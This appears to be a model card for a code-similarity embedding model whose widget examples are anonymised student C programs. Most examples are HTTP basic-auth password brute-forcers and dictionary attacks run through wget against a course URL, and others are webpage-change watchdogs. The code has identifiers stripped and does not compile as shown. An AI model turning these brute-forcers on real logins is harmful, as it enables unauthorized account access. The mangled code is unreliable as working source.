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---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- dense
- generated_from_trainer
- dataset_size:3081
- loss:BatchAllTripletLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
- source_sentence: "\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\
    \n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char\
    \ *, char *b) {\n\n\n    char [100]={'\\0'};\n    strcpy(,b);\n    \n    strcat(,);\n\
    \    printf (\"Sending command %s\\n\",);\n    if ( system()== 0) {\n       printf\
    \ (\"\\n password is : %s\",);\n       return 1;\n    }\n    return 0;\n}\n \n\
    \nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n   for(i=0;i<52\
    \ ;i++) {\n        comb[0]= [i];\n        if (execPassword(comb,url)== 1) return\
    \ 1; \n          for(j=0;j<52;j++) {\n              comb[1] = [j];\n         \
    \     if(execPassword(comb,url)==1) return 1;\n                for(k=0;k<52;k++)\
    \ {\n                    comb[2] = [k];\n                    if(execPassword(comb,url)==1)\
    \ return 1;\n                }\n          comb[1] = '\\0';\n     }\n   }\n   return\
    \ 0;\n\n} \n\nint  (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80]\
    \ = {'\\0'};\n char *passwd;\n char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\
    \ char v[4]={'\\0'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,\"\
    wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=\");\n\n\
    \  startTime = time();\n    if (bruteForce(a,v,strin)==1) {\n      stopTime =\
    \ time();\n      final = stopTime-startTime;\n    }\n\n       printf (\"\\n The\
    \ password is : %s\",v);\n       printf(\"%lld nanoseconds (%lf) seconds \\n\"\
    , final,  (double)final/OneBillion );\n\n}\n"
  sentences:
  - "\n\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n\nint\
    \ ()\n\n{\n   int cntr=0;\n   char get[96];\n   char username[]=\"\";\n   char\
    \ password[16];\n   int R_VALUE;\n   double time_used;\n   clock_t , end;\n  \n\
    \   FILE* fp;\n   fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n     \n  \
    \  = clock();\n  \n       while ( fscanf(fp,\"%s\",&password) != EOF )\n\t   {\n\
    \        \n\t\t  \n\t\t  if(strlen(password)>3) continue;\n\t\t   \n\t\t     \
    \   cntr++;\n                printf(\"%d          >> PASSWORD SEND : %s \\n\"\
    ,cntr, password);\n              \n\t\t\t\tsprintf(get,\"wget --http-user=%s --http-passwd=%s\
    \ http://sec-crack.cs.rmit.edu./SEC/2/\",username,password);\n               \
    \ \n  \n                R_VALUE=system(get);\n          \n\t            if(R_VALUE==0)\n\
    \t\t\t\t{\n\t\t         printf(\"The Password has been cracked and it is : %s\"\
    \ , password);\n\t\t         exit(0);\n\t\t\t\t}\n\n\t   }\n\n\t   \n  end = clock();\n\
    \  time_used = ((double) (end - )) / CLOCKS_PER_SEC;\n  printf(\"time_used = %f\\\
    n\", time_used);\n\n}\n\n\n\n"
  - "\n\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n\nint\
    \ ()\n\n{\n   int cntr=0;\n   char get[96];\n   char username[]=\"\";\n   char\
    \ password[16];\n   int R_VALUE;\n   double time_used;\n   clock_t , end;\n  \n\
    \   FILE* fp;\n   fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n     \n  \
    \  = clock();\n  \n       while ( fscanf(fp,\"%s\",&password) != EOF )\n\t   {\n\
    \        \n\t\t  \n\t\t  if(strlen(password)>3) continue;\n\t\t   \n\t\t     \
    \   cntr++;\n                printf(\"%d          >> PASSWORD SEND : %s \\n\"\
    ,cntr, password);\n              \n\t\t\t\tsprintf(get,\"wget --http-user=%s --http-passwd=%s\
    \ http://sec-crack.cs.rmit.edu./SEC/2/\",username,password);\n               \
    \ \n  \n                R_VALUE=system(get);\n          \n\t            if(R_VALUE==0)\n\
    \t\t\t\t{\n\t\t         printf(\"The Password has been cracked and it is : %s\"\
    \ , password);\n\t\t         exit(0);\n\t\t\t\t}\n\n\t   }\n\n\t   \n  end = clock();\n\
    \  time_used = ((double) (end - )) / CLOCKS_PER_SEC;\n  printf(\"time_used = %f\\\
    n\", time_used);\n\n}\n\n\n\n"
  - "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n\
    #define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n\
    \   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n\
    \   \n   \n   strcpy(str1,\"wget --http-user= --http-passwd=\");\n   strcpy(str2,\"\
    \ http://sec-crack.cs.rmit.edu./SEC/2/\");\n   strcpy(tempstr,\"\");\n\n\n\n \
    \  for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n\
    \      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf(\"SENDING\
    \ REQUEST AS %s\\n\",tempstr);\n      success=system (tempstr);\n      if (success==0)\n\
    \       return 1;\n      else\n       strcpy(tempstr,\"\"); \n       strcpy(passwd,\"\
    \");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n\
    \      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n\
    \         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf(\"\
    SENDING REQUEST AS %s\\n\",tempstr);\n         success=system (tempstr);\n   \
    \      if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,\"\
    \"); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n   \
    \   passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\
    \         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n\
    \            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n    \
    \        printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n            success=system\
    \ (tempstr);\n            if (success==0)\n              return 1;\n         \
    \   else\n              strcpy(tempstr,\"\"); \n\t  }    \n       }     \n   \
    \  }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n\
    \     int i,success;\n     char ch='a';\n\n\n     \n     int , end;    \n    \
    \  = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]='\\0';\n\
    \      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\
    \t  ch++;\n      }\n      ch='A';  \n     for (i=26;i<52;i++)\n      {\n     \
    \     chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n\
    \      printf(\"\\nPassword is %s\\n\",passwd); \n      getpid();\n      end =\
    \ time(); \n      printf(\"Time required = %lld msec\\n\",(end-)/());\n     return\
    \ (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n"
- source_sentence: "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n\
    #include <strings.h>\n#include <ctype.h>\n\nint ()\n{\n  FILE *fp; \n  char *chk,[4];\n\
    \  int i=1;\n  while (i == 1) \n  {\n  \n  system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\
    );\n\n  system(\"mkdir first\"); \n  system(\"mkdir second\"); \n\n  \n  system(\"\
    mv www.cs.rmit.edu./images/*.*  first/\");\n  system(\"mv www.cs.rmit.edu./students/*.*\
    \ first/\");\n\n  sleep(86400); \n\n  \n  system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\
    );\n\n  \n  system(\"mv www.cs.rmit.edu./images/*.* second/\");\n  system(\"mv\
    \ www.cs.rmit.edu./students/*.* second/\");\n\n  \n  \n  system(\"diff first second\
    \ > imagesdifference.txt\");\n\n  \n  fp = fopen(\"imagesdifference.txt\",\"r\"\
    );\n  \n  chk = fgets(, 4, fp);\n  \n  if (strlen() != 0)\n     system(\"mailx\
    \ -s  \\\"Difference from WatchDog\\\"  < imagesdifference.txt\");\n  }\n  return\
    \ 0;\n}\n"
  sentences:
  - "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n\
    #include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n\
    \ char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};\n\
    time_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,\"wget --http-user= --http-passwd=\"\
    );\n strcpy(temp2,\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n \n for(m=0;m<=51;m++)\n\
    \ {\n   v[0]=[m]; \n   v[1]='\\0';\n   v[2]='\\0';\n   strcpy(URL,v); \n   printf(\"\
    \\nTesting with password %s\\n\",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n\
    \   strcat(temp3,temp2);\n   printf(\"\\nSending the  %s\\n\",temp3);\n   i=system(temp3);\
    \ \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password\
    \ is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken  crack the password is\
    \  %d  second\\n\\n\",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\
    \tstrcpy(temp3,\"\");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n\
    \   v[2]='\\0';\n   strcpy(URL,v); \n   printf(\"\\nTesting with password %s\\\
    n\",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n\
    \   printf(\"\\nSending the  %s\\n\",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n\
    \   \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\
    \t printf(\"\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n\"\
    ,(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\
    \t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n\
    \   strcpy(URL,v); \n   printf(\"\\nTesting with password %s\\n\",URL);\n   strcat(temp3,temp1);\n\
    \   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf(\"\\nSending the  %s\\\
    n\",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2);\
    \ \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var\
    \ taken  crack the password is  %d  second\\n\\n\",(int)(u2-u1));\n     \t exit(0);\n\
    \   \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n   \n   \n   }\n  }\n }  \n\
    \  \n}  \n"
  - "\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n\
    #include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n \
    \  char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime,\
    \ stopTime, final;\n   startTime = time();\n   while((fptr=(fopen(\"/usr/share/lib/dict/words\"\
    ,\"r\")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n \
    \        if(pass == NULL) exit(1);\n         if(pass[3]=='\\n') {\n          \
    \  pass[3]='\\0';\n\t    send[0]='\\0';\n\t    strcpy(send,\"wget --http-user=\
    \ --http-passwd=\");\n \t    strcat(send,pass);\n\t    strcat(send,\" http://sec-crack.cs.rmit.edu./SEC/2/\"\
    );\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\
    \t       stopTime = time();\n               final = stopTime-startTime;\n\t  \
    \     printf(\"\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs\
    \  = %d\\n\",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n\
    \         }\n      }\n   }\n   printf(\"\\nFILE CANNOT  OPENED\\n\");\n}\n"
  - "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <sys/time.h>\n\
    #include <strings.h>\n#include <ctype.h>\n\nint ()\n{\n  int time1, time2, time_var;\n\
    \  int timeinsec, nofattempts;\n  char url[100], url1[80];\n  strcpy(url, \"wget\
    \ --http-user= --http-passwd=\");\n  strcpy(url1, \" http://sec-crack.cs.rmit.edu./SEC/2/\
    \ -o out.txt\");\n  char word[15], *chk;\n  chk = \"word\";\n  FILE *fp;\n  int\
    \ syst = 1;\n  fp = fopen(\"words\", \"r\");\n  time1 = time();\n  while(chk !=\
    \ NULL)\n  {\n    chk = fgets(word, 15, fp);\n    if (chk == NULL) exit(1);\n\
    \    word [ strlen(word) - 1 ] = '\\0';\n    strcat(url, word);\n    strcat(url,\
    \ url1);\n    if (strlen(word) == 3)\n    {\n      syst = system(url);\n     \
    \ nofattempts = nofattempts + 1;\n      printf(\"\\n %s %d\\n\",word,nofattempts);\n\
    \    }\n    if (syst == 0)\n    {\n       time2 = time();\n       time_var = time2\
    \ - time1;\n       timeinsec = time_var/1000000000;\n       printf(\"\\n The Password\
    \ is: %s\",word);\n       printf(\"\\n  of Attempts: %d\\n\",nofattempts);\n \
    \      printf(\"\\n Time Taken: %d seconds\\n\", timeinsec);\n       exit(1);\n\
    \    }\n    strcpy(url, \"\");\n    strcpy(url, \"wget --http-user= --http-passwd=\"\
    );\n  }\n}\n"
- source_sentence: "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n\
    #include <sys/time.h>\n#include <strings.h>\n#include <ctype.h>\n\nint ()\n{\n\
    \  char url[80], url1[80];\n  int i, j, k, syst = 1, nofattempts = 0;\n  char\
    \ c1, c2, c3, pass[4];\n  int time_var,time1,time2, timeinsec;\n  time1 = time();\n\
    \n  char itoa[52] = \"aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ\";\n\
    \n  strcpy(url, \"wget --http-user= --http-passwd=\");\n  strcpy(url1, \" http://sec-crack.cs.rmit.edu./SEC/2/\
    \ -o out.txt\");\n\n  for (i = 1; i <= 52; i++)\n  {\n    for (j = 1; j <= 52;\
    \ j++)\n    {\n      for (k = 1; k <= 52; k++)\n      {\n          fflush(stdin);\n\
    \          c1 = itoa[i];\n          c2 = itoa[j];\n          c3 = itoa[k];\n \
    \         pass[0] = c1;\n          pass[1] = c2;\n          pass[2] = c3;\n  \
    \  \t  pass[3] = '\\0';\n          strcat(url, pass);\n          strcat(url, url1);\n\
    \t      ++nofattempts;\n          syst = system(url);\n          printf(\"%s\\\
    n\",pass);\n          if (syst == 0)\n          {\n            time2 = time();\n\
    \            time_var = time2 - time1;\n            timeinsec = time_var / 1000000000;\n\
    \            printf(\"  Number of Attempts  is %d\", nofattempts);\n         \
    \   printf(\"\\n Found it! The Password is: %s\\n\", pass);\n            printf(\"\
    \\n The time_var taken  crack the password by brute force is %lld seconds\\n\"\
    , timeinsec);\n            exit(1);\n          }\n\t      strcpy(url, \"\");\n\
    \    \t  strcpy(url, \"wget --http-user= --http-passwd=\");\n      }\n    }\n\
    \  }\n  exit(0);\n}\n"
  sentences:
  - "\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n#include\
    \ <strings.h>\n#include <ctype.h>\n\nint ()\n{\n  char word[15], *chk;\n  system(\"\
    wget -p --convert-links http://www.cs.rmit.edu./students/\");\n  system(\"mkdir\
    \ one\");\n  system(\"mv www.cs.rmit.edu./images/*.*  one/\");\n  system(\"mv\
    \ www.cs.rmit.edu./students/*.* one/\");\n  sleep(15);\n  system(\"wget -p --convert-links\
    \ http://www.cs.rmit.edu./students/\");\n  system(\"mkdir two\");\n  system(\"\
    mv www.cs.rmit.edu./images/*.* two/\");\n  system(\"mv www.cs.rmit.edu./students/*.*\
    \ two/\");\n  system(\"diff one two > difference.txt\");\n  system(\"mailx -s\
    \  \\\"Message1\\\"   < difference.txt\");\n  return 0;\n}\n"
  - "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n\
    #include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime,\
    \ stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};\n\
    \    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n\
    \   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\
    \n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t\
    \     [2] = arr[k];\n\t     [3] = '\\0';\n\n\n\t     printf(\"Checking for the\
    \ word :%s\\n\",);\n\t     strcpy(url1 ,\"wget --http-user= --http-passwd=\");\n\
    \t     strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ \"\
    );\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\
    \t     if (pass == 0)\n\t     {   \n                printf(\"Success\\n\");\n\t\
    \tprintf(\"Number of attempts = %d\\n\",count);\n\t        stopTime = time();\n\
    \n                final = stopTime-startTime;\n\t\tprintf(\"The password for the\
    \ user  : %s\\n\",); \n                printf(\" Cracked the password in %lld\
    \ nanoseconds (%1f seconds) \\n\",final,(double)final/OneBillion);\n\t       \
    \ \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n"
  - "#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n\
    #include <sys/time.h>\n\nint ()\n{\n  FILE *fh,*fp,*fp1,*d;\n  char\n  [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];\n\
    \  sleep(60*60*24);\n  system(\"wget http://www.cs.rmit.edu./students\");\n  if(system==0)\n\
    \  {\n   printf(\"File stored\");\n  }\n  strcpy(filename,\"index.html\"); \n\
    \  if((fh=fopen(filename,\"r\"))==NULL)\n  {\n   printf(\"cannot open file\\n\"\
    );\n   exit(1);\n  }\n  fp=fopen(\"index.txt\",\"r\");\n  fp1=fopen(\"index1.txt\"\
    ,\"r\");\n \n  while((fgets(PassString,sizeof(PassString),fh))!= NULL)\n  {\n\
    \    fread(p,sizeof(PassString),sizeof(PassString),fh);\n    printf(\" contents\
    \ %s\\n\",p);\n    while((f1!=EOF) || (f2!=EOF))\n    {\n     f1=getc(fp);\n \
    \    f2=getc(fp1);\n     if(f1<f2)\n     {\n     strcpy(,p);\n     fp=fopen(\"\
    index.txt\",\"r+b\");\n     fputs(,fp);\n     fflush(fp); \n     fclose(fp); \n\
    \    }\n    else\n    {\n      strcpy(temp1,p);\n      fp1=fopen(\"index1.txt\"\
    ,\"r+b\");\n      fputs(temp1,fp1);\n      fflush(fp1);\n      fclose(fp1);\n\
    \    }\n    }\n    if(system(\"diff -b -w index.txt index1.txt > Diff.txt\")==0)\n\
    \    {\n      d=fopen(\"Diff.txt\",\"r\");\n      if((fgets(,sizeof(),d))!=NULL)\n\
    \      {\n        printf(\"The difference between  exist\");\n\tsystem(\"Mail\
    \ \\r\\n Difference\");\n      }\n      \n    }\n  }\n return 0;\n  }\n"
- source_sentence: "\n\n             \n\t     \n\n\n#include<stdio.h>\n#include<stdlib.h>\n\
    #include<string.h>\n\n    \n    int  ()\n    {\n       char url[30];\n       int\
    \ exitValue=-1;\n       FILE *fr;\n\n       char s[300]; \t     \n\tsystem(\"\
    rm index.html*\");\n        system(\"wget http://www.cs.rmit.edu./students/ \"\
    );    \n\t system(\"mv index.html one.html\");\n\t \n           printf(\"System\
    \ completed Writing\\n\"); \n\t   system(\"sleep 3600\");\n\t    \n\t    \n  \
    \          system(\"wget http://www.cs.rmit.edu./students/ \"); \n           \
    \ \n\t          \n\t    \t     \n\t     exitValue=system(\"diff one.html index.html\
    \ > .out\" );\n\t     \n             fr=fopen(\".out\",\"r\");\n\t     \n\t  \
    \   strcpy(s,\"mailx -s \\\"Testing Again\\\"\");\n\t     \t     \n\t     strcat(s,\"\
    \  < .out\");\n\t     if(fgets(url,30,fr))\n\t     {\n\t     system(s);\n\t  \
    \   \n\t     system(\"rm one.html\");  \n\t     \n\t     printf(\"\\nCheck your\
    \ mail\") ; \n\t     fclose(fr);        \n\t     }\n\t       else\n\t        \
    \   {\n\t            printf(\" changes detected\"); \n\t\t    \n\t           \
    \ system(\"rm one.html\"); \n\t\t    fclose(fr);   \n\t\t   }\n\t\t   return 0;\
    \   \n      }\n      \n      \n   \n\n\n\n"
  sentences:
  - "\n\n\n#define _REENTRANT\n#include <sys/time.h>\n#include <sys/types.h>\n#include\
    \ <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include\
    \ <unistd.h>\n#include <errno.h>\n#include <ctype.h>\n#include <pthread.h>\n#include\
    \ <signal.h>\n\n\n#define MAX_THREADS 1000\n#define MAX_COMBO \n#define false\
    \ 0\n#define true 1\n\n\nstatic char *alphabet=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
    ;\nstatic char **combination=NULL;\nstatic char host[128];\n\n\npthread_mutex_t\
    \ counter_lock = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER;\n\
    pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER;\npthread_cond_t thread_ready\
    \ = PTHREAD_COND_INITIALIZER;\n\n\nstatic int attempt_count=0;\nstatic int combo_entries=0;\n\
    \nstatic struct timeval ;\nstatic struct timeval stop;\nstatic int thread_ready_indicator=false;\n\
    static int thread_start_indicator=false;\nstatic int thread_count=0;\n\n\ntypedef\
    \ struct range\n{\n  int ;\n  int ;\n}range;\n\n\nvoid *client(void *arg)\n{\n\
    \  \n  int i=0, status=1;\n  range *= (struct range*)arg;\n\n  \n  char local_buffer[128];\n\
    \n  pthread_mutex_lock(&thread_lock);\n  thread_ready_indicator=true;\n\n  \n\
    \  pthread_cond_signal(&thread_ready);\n\n  \n  while(thread_start_indicator==false)\
    \ pthread_cond_wait(&start_hacking, &thread_lock);\n    fflush(stdout);\n  pthread_mutex_unlock(&thread_lock);\n\
    \n  \n  for(i=->; i<=-> && i<combo_entries; i++)\n  {\n    \n    sprintf(local_buffer,\n\
    \    \"wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s\"\
    ,\n    \"\", combination[i], host);\n\n    \n    status=system(local_buffer);\n\
    \    \n\n    \n    if(status==0)\n    {\n      printf(\"\\n\\nusername: \\npassword:\
    \ %s\\n\\n\", combination[i]);\n      fflush(stdout);\n\n      \n      pthread_mutex_lock(&counter_lock);\n\
    \n        attempt_count++;\n        gettimeofday(&stop, NULL);\n\n        printf(\"\
    About %d attempts were , which took %ld.%ld seconds  complete.\\n\",\n       \
    \ attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));\n        fflush(stdout);\n\
    \n      pthread_mutex_unlock(&counter_lock);\n\n      \n      exit(EXIT_SUCCESS);\n\
    \    }\n    else\n    {\n      \n      pthread_mutex_lock(&counter_lock);\n  \
    \      attempt_count++;\n      pthread_mutex_unlock(&counter_lock);\n    }\n \
    \ }\n  pthread_exit(NULL);\n}\n\n\nchar *getNextCombination()\n{\n  \n  static\
    \ int i=0;\n  static int j=0;\n  static int k=0;\n\n  static int mode=1;\n  char\
    \ *word;\n\n\n  \n\n  if(i>51)\n  {\n    mode++; i=0; j=0; k=0;\n  }\n\n  \n \
    \ if(mode==1)\n  {\n    char *word = calloc(mode, 1);\n    word[0]=alphabet[i++];\n\
    \    word[1]='\\0';\n    return word;\n  }\n\n  \n  if(mode==2)\n  {\n    if(j>51)\n\
    \    {\n      i++; j=0;\n    }\n\n    if(i>51)\n    {\n      mode++;\n      i=0;\
    \ j=0; j=0;\n    }\n    else\n    {\n      char *word = calloc(mode, 1);\n   \
    \   word[0]=alphabet[i];\n      word[1]=alphabet[j++];\n      word[2]='\\0';\n\
    \      return word;\n    }\n  }\n\n  \n  if(mode==3)\n  {\n    if(k>51)\n    {\n\
    \      j++; k=0;\n    }\n\n    if(j>51)\n    {\n      i++; j=0;\n    }\n\n   \
    \ if(i>51)\n    {\n       mode++;\n       i=0; j=0; j=0;\n     }\n     else\n\
    \     {\n       char *word = calloc(mode, 1);\n       word[0]=alphabet[i];\n \
    \      word[1]=alphabet[j];\n       word[2]=alphabet[k++];\n       word[3]='\\\
    0';\n       return word;\n     }\n   }\n   return NULL;\n}\n\n\nint main(int argc,\
    \ char **argv)\n{\n  \n  int wait_status=0, i=0, j=0, num_threads=0;\n  int partition=0,\
    \ prev_min=0, prev_max=0;\n  int len=0;\n  char *word; range *;\n  pthread_t tid[MAX_THREADS];\n\
    \  int non_alpha_detected=0;\n\n  \n  if(argc<3)\n  {\n    puts(\"Incorrect usage!\"\
    );\n    puts(\"./brute num_threads url\");\n    exit(EXIT_FAILURE);\n  }\n\n \
    \ \n  strcpy(host, argv[2]);\n\n  \n  num_threads=atoi(argv[1]);\n\n  \n  combination\
    \ = (char **)calloc(MAX_COMBO, sizeof(char *));\n\n  printf(\"Process ID for the\
    \  thread is: %d\\n\", getpid());\n  printf(\"Creating brute-force dictionary\
    \ ... \");\n  \n  \n  while( (word=getNextCombination())!= NULL && i<MAX_COMBO)\n\
    \  {\n    combination[i]=calloc(strlen(word)+1, sizeof(char));\n    strcpy(combination[i++],\
    \ word);\n    combo_entries++;\n  }\n  puts(\"\");\n  j=0;\n\n  \n  partition=combo_entries/num_threads;\n\
    \n  \n  if(partition==0)\n  {\n    puts(\"Reducing the number of threads  match\
    \ the number of words.\");\n    num_threads=combo_entries;\n    partition=1;\n\
    \  }\n\n  \n  prev_min=0;\n  prev_max=partition;\n  i=0;\n\n  memset(&, 0, sizeof(struct\
    \ timeval));\n  memset(&stop, 0, sizeof(struct timeval));\n\n  \n  while(i<num_threads\
    \ && i<MAX_THREADS)\n  {\n    \n    =malloc(sizeof(struct range));\n    ->=prev_min;\n\
    \    ->=prev_max;\n\n    \n    pthread_mutex_lock(&thread_lock);\n      thread_ready_indicator=false;\n\
    \    pthread_mutex_unlock(&thread_lock);\n\n    \n    if(pthread_create(&tid[i++],\
    \ NULL, client, (void *))!=0) puts(\"Bad thread ...\");\n\n    \n    pthread_mutex_lock(&thread_lock);\n\
    \      while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock);\n\
    \    pthread_mutex_unlock(&thread_lock);\n\n    \n    prev_min+=partition+1;\n\
    \n    \n    if(i==num_threads)\n    {\n      prev_max=combo_entries;\n    }\n\
    \    else\n    {\n      prev_max+=partition+1;\n    }\n  }\n\n  \n  gettimeofday(&,\
    \ NULL);\n\n  \n  pthread_mutex_lock(&thread_lock);\n    thread_start_indicator=true;\n\
    \  pthread_mutex_unlock(&thread_lock);\n\n  \n  pthread_cond_broadcast(&start_hacking);\n\
    \n  \n  printf(\"Created %d threads  process %d passwords\\n\", num_threads, combo_entries);\n\
    \  printf(\"Attacking host: %s\\n\", host);\n  fflush(stdout);\n\n  \n  for(i=0;\
    \ i<num_threads && i<MAX_THREADS; i++)  pthread_join(tid[i], NULL);\n\n  gettimeofday(&stop,\
    \ NULL);\n\n  \n  puts(\"Could not determine the password for this site.\");\n\
    \  printf(\"About %d attempts were , which took %ld.%ld seconds  complete.\\n\"\
    ,\n  attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));\n  fflush(stdout);\n\
    \n  \n  for(i=0; i<combo_entries; i++) (combination[i]);\n  (*combination);\n\n\
    \  return EXIT_SUCCESS;\n}\n\n"
  - "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n#include <strings.h>\n\
    #include <ctype.h>\n\nint ()\n{\n  FILE *fp; \n  char *chk,[4];\n  int i=1;\n\
    \  while (i == 1) \n  {\n  \n  system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\
    );\n\n  system(\"mkdir first\"); \n  system(\"mkdir second\"); \n\n  \n  system(\"\
    mv www.cs.rmit.edu./images/*.*  first/\");\n  system(\"mv www.cs.rmit.edu./students/*.*\
    \ first/\");\n\n  sleep(86400); \n\n  \n  system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\
    );\n\n  \n  system(\"mv www.cs.rmit.edu./images/*.* second/\");\n  system(\"mv\
    \ www.cs.rmit.edu./students/*.* second/\");\n\n  \n  \n  system(\"diff first second\
    \ > imagesdifference.txt\");\n\n  \n  fp = fopen(\"imagesdifference.txt\",\"r\"\
    );\n  \n  chk = fgets(, 4, fp);\n  \n  if (strlen() != 0)\n     system(\"mailx\
    \ -s  \\\"Difference from WatchDog\\\"  < imagesdifference.txt\");\n  }\n  return\
    \ 0;\n}\n"
  - "#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n\
    \n#define MAX_SIZE 255\n\n\nint CrackPasswd(FILE *fp)\n{\n   int i, cnt, flag;\n\
